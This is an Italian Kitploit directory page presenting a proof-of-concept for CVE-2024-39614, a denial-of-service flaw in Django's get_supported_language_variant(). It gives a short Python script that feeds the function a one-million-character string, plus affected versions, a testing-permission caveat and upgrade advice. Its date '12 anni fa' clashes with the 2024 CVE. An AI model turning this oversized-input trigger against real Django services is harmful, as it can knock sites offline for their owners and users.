Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
-CVE-2024-39614 — Exploit proof-of-concept per CVE-2024-39614, una vulnerabilità denial-of-service nella funzione get_supported_language_variant() di Django che interessa le versioni 5.0<5.0.7 e 4.2<4.2.14. | Kitploit
Strumenti/GitHubGitHub/abdurahmon3236/-cve-2024-39614
Analisi delle VulnerabilitàExploitSicurezza WebPenetration Testing
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

Exploit proof-of-concept per CVE-2024-39614, una vulnerabilità denial-of-service nella funzione get_supported_language_variant() di Django che interessa le versioni 5.0<5.0.7 e 4.2<4.2.14.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
12 anni faNon ancora revisionato

Proof of Concept (PoC) per la vulnerabilità Denial-of-Service in Django

Questo repository contiene uno script Proof of Concept (PoC) che dimostra una vulnerabilità denial-of-service (DoS) in Django versioni 5.0 precedenti alla 5.0.7 e 4.2 precedenti alla 4.2.14. La vulnerabilità risiede nella funzione get_supported_language_variant(), che è suscettibile a un potenziale attacco DoS quando gestisce stringhe molto lunghe contenenti caratteri specifici.

Indice

  • Descrizione della vulnerabilità
  • Configurazione e utilizzo
    • Script PoC
  • Considerazioni importanti
  • Mitigazione

Descrizione della vulnerabilità

CVE-ID: (In attesa)

Panoramica: La funzione get_supported_language_variant() in Django versioni 5.0 precedenti alla 5.0.7 e 4.2 precedenti alla 4.2.14 è vulnerabile a un attacco denial-of-service. Questa funzione può essere sfruttata inviando stringhe molto lunghe contenenti caratteri specifici, il che potrebbe portare a un esaurimento delle risorse e, di conseguenza, a una condizione di denial-of-service.

Versioni Affette:

  • Django 5.0 precedente alla 5.0.7
  • Django 4.2 precedente alla 4.2.14

Versioni Corrette:

  • Django 5.0.7
  • Django 4.2.14

Configurazione e utilizzo

Prerequisiti

  • Python 3.x
  • Django installato (pip install django)

Script PoC

Questo script dimostra come un attaccante può sfruttare la vulnerabilità inviando una stringa molto lunga alla funzione get_supported_language_variant().

Salva il seguente script come dos_poc.py ed eseguilo.

root@kitploit:~
import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()

Spiegazione

  1. Controlla la versione di Django: Lo script controlla prima se la versione di Django installata è vulnerabile all'attacco DoS.
  2. Genera una stringa molto lunga: Viene generata una stringa molto lunga contenente caratteri specifici. Regola la lunghezza e il contenuto secondo necessità per attivare la vulnerabilità.
  3. Funzione di test: La funzione test_dos_vulnerability() chiama get_supported_language_variant() con la stringa molto lunga per testare la vulnerabilità.
  4. Esegui lo script: Quando eseguito, lo script tenterà di sfruttare la vulnerabilità e stamperà i risultati.

Considerazioni importanti

  • Permessi: Assicurati di avere il permesso esplicito per testare questa vulnerabilità sul sistema di destinazione. Test non autorizzati sono illegali e non etici.
  • Ambiente di test: Esegui questo test in un ambiente controllato per evitare di influenzare i sistemi di produzione.
  • Consumo di risorse: Questo PoC può consumare risorse di sistema significative. Monitora il tuo sistema e sii pronto a fermare lo script se necessario.

Mitigazione

Per mitigare questa vulnerabilità, esegui l'upgrade alle versioni corrette di Django:

  • Django 5.0.7
  • Django 4.2.14

Segui le istruzioni ufficiali di upgrade di Django per aggiornare la tua installazione di Django all'ultima versione sicura.

Mantenendo il tuo software aggiornato e seguendo le migliori pratiche di sicurezza, puoi prevenire vulnerabilità come questo problema DoS in Django.

Scarica lo strumento